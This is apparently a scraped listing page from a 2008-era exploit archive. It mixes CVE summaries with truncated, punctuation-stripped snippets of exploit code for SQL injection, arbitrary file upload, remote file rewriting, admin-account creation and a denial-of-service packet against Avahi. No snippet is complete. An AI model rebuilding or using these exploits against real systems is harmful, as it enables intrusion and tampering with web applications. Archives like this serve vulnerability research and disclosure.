Avahi 0.6.24 - mDNS Daemon Remote Denial of Service

Avahi 0.6.24 - mDNS Daemon Remote Denial of Service / cve-2008-5081.c Avahi mDNS Daemon Remote DoS http://jon.oberheide.org Usage: gcc cve-2008-5081.c -ldnet -o cve-2008-5081 ./cve-2008-5081 1.2.3.4 Information: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5081 Crafted mDNS packet with...

Avahi < 0.6.24 (mDNS Daemon) Remote Denial of Service Exploit

Exploit for multiple platform in category dos / poc ============================================================= Avahi http://jon.oberheide.org Usage: gcc cve-2008-5081.c -ldnet -o cve-2008-5081 ./cve-2008-5081 1.2.3.4 Information: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5081...

Joomla! Component JMovies 1.1 - id SQL Injection

Joomla! Component JMovies 1.1 - id SQL Injection !/usr/bin/perl -w ----------------------------------------------------------- Joomla Component comjmovies 1.1 id SQL Injection Exploit by s3rg3770 with athos : demo http://www.disneyrama.com ---------------------------------------------------------...

CVE-2008-4315

tog-pegasus in OpenGroup Pegasus 2.7.0 on Red Hat Enterprise Linux RHEL 5, Fedora 9, and Fedora 10 does not log failed authentication attempts to the OpenPegasus CIM server, which makes it easier for remote attackers to avoid detection of password guessing attacks...

CVE-2008-4315: Undefined Security Weakness

tog-pegasus in OpenGroup Pegasus 2.7.0 on Red Hat Enterprise Linux RHEL 5, Fedora 9, and Fedora 10 does not log failed authentication attempts to the OpenPegasus CIM server, which makes it easier for remote attackers to avoid detection of password guessing attacks...

FREEze Greetings 1.0 - Remote Password Retrieve

\r\n\r\n", $argv0 and exit; $out = pregmatch'!^^ +$!sei', filegetcontents$argv1 . '/pwd.txt', $r && pregmatch'!^^||+||!sei', base64decode$r1, $pass ? sprintf"Password : %s", base64decode$pass1 : 'Exploitation failed'; printf" %s \r\n\r\n", $out; ? milw0rm.com 2008-11-17...

7Shop 1.1 - Arbitrary File Upload

7Shop 1.1 - Arbitrary File Upload !/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; my $fname = rand1000 . ".php"; int.. yes i know PU! print Spoofing + + Discovered && Coded By: t0pP8uZz + + + + Contact IRC: irc.rizon.net sectalk + + Vendor not notified! Lat...

CVE-2008-4682

wtap.c in Wireshark 0.99.7 through 1.0.3 allows remote attackers to cause a denial of service application abort via a malformed Tamos CommView capture file aka .ncf file with an "unknown/unexpected packet type" that triggers a failed assertion...

CVE-2008-4682: Improper Input Validation

wtap.c in Wireshark 0.99.7 through 1.0.3 allows remote attackers to cause a denial of service application abort via a malformed Tamos CommView capture file aka .ncf file with an "unknown/unexpected packet type" that triggers a failed assertion...

PHP Easy Downloader 1.5 - Remote File Creation

PHP Easy Downloader 1.5 - Remote File Creation !/usr/bin/perl -------------------------------------------------------- PHP Easy Downloader ; if$code ! // print "? You must insert PHP Code\r\n"; exit; my $post = $http-post$host.'/fileinfo/admin/save.php', filename = $file, accesses = $code.'//', ;...

Globsy 1.0 - Remote File Rewriting

!/usr/bin/php -q '".$filename."' could not be opened."; 39. fwrite$handle, $data or die"Write: The file '".$filename."' could not be writen."; $mode is $POST'mode' and $data = $POST'data' so you can rewrite or create any file / errorreporting0; iniset"defaultsockettimeout",5; $host =...

CVE-2008-3834: Improper Input Validation

The dbussignaturevalidate function in the D-bus library libdbus before 1.2.4 allows remote attackers to cause a denial of service application abort via a message containing a malformed signature, which triggers a failed assertion error...

Wireshark 1.0.x - .ncf Packet Capture Local Denial of Service

Wireshark 1.0.x - .ncf Packet Capture Local Denial of Service Wireshark 1.0.x .ncf local denial of service author: Shinnok Description Wireshark 1.0.x crashes as a result of a failed assertion when dealing with a malformed Tamosoft CommView .ncf packet capture: Err file wtap.c: line 620 wtapread:...

Wireshark 1.0.x Malformed .ncf packet capture Local Denial of Service

Exploit for multiple platform in category dos / poc ===================================================================== Wireshark 1.0.x Malformed .ncf packet capture Local Denial of Service ===================================================================== Wireshark 1.0.x .ncf local denial o...

Rianxosencabos CMS 0.9 Remote Add Admin Exploit

Exploit for unknown platform in category web applications =============================================== Rianxosencabos CMS 0.9 Remote Add Admin Exploit =============================================== !/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download:...

rianxosencabos09-admin.txt

!/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz written by ka0x D.O.M Labs - Security Researchers - www.domlabs.org - use LWP::UserAgent; my $host, $login, $pass, $mail, $userid = @ARGV ; unless$ARGV4 print " usage:...

iGaming CMS 1.5 - Multiple SQL Injections

!/usr/bin/perl ---------------------------------------------------------- iGaming agent"Mozilla/4.5 en Win95; U"; $http-timeout1; if$host ! /^http://.+?$/ print "? iGaming CMS get$host.'/previews.php?browse='.$exec; $two = $http-get$host.'/reviews.php?browse='.$exec; $xxx =...

sportsclubs-delete.txt

!/usr/bin/perl -W Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit File affected: include/draw-delete.php id Vuln Code: 06: $did = $GET'id'; 08: mysqlquery"DELETE FROM draw WHERE did='$did'"; by ka0x D.O.M Labs - Security Researchers - www.domlabs.org - ka0x@domlabs:/codes$ ./sportspanel.p...

CVE-2008-3777: Exposure of Sensitive Information to an Unauthorized Actor

The SIP Enablement Services SES Server in Avaya SIP Enablement Services 5.0, and Communication Manager CM 5.0 on the S8300C with SES enabled, writes account names and passwords to the 1 alarm and 2 system logs during failed login attempts, which allows local users to obtain login credentials by...

GeekLog 1.5.0 - Arbitrary File Upload

GeekLog 1.5.0 - Arbitrary File Upload !/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST...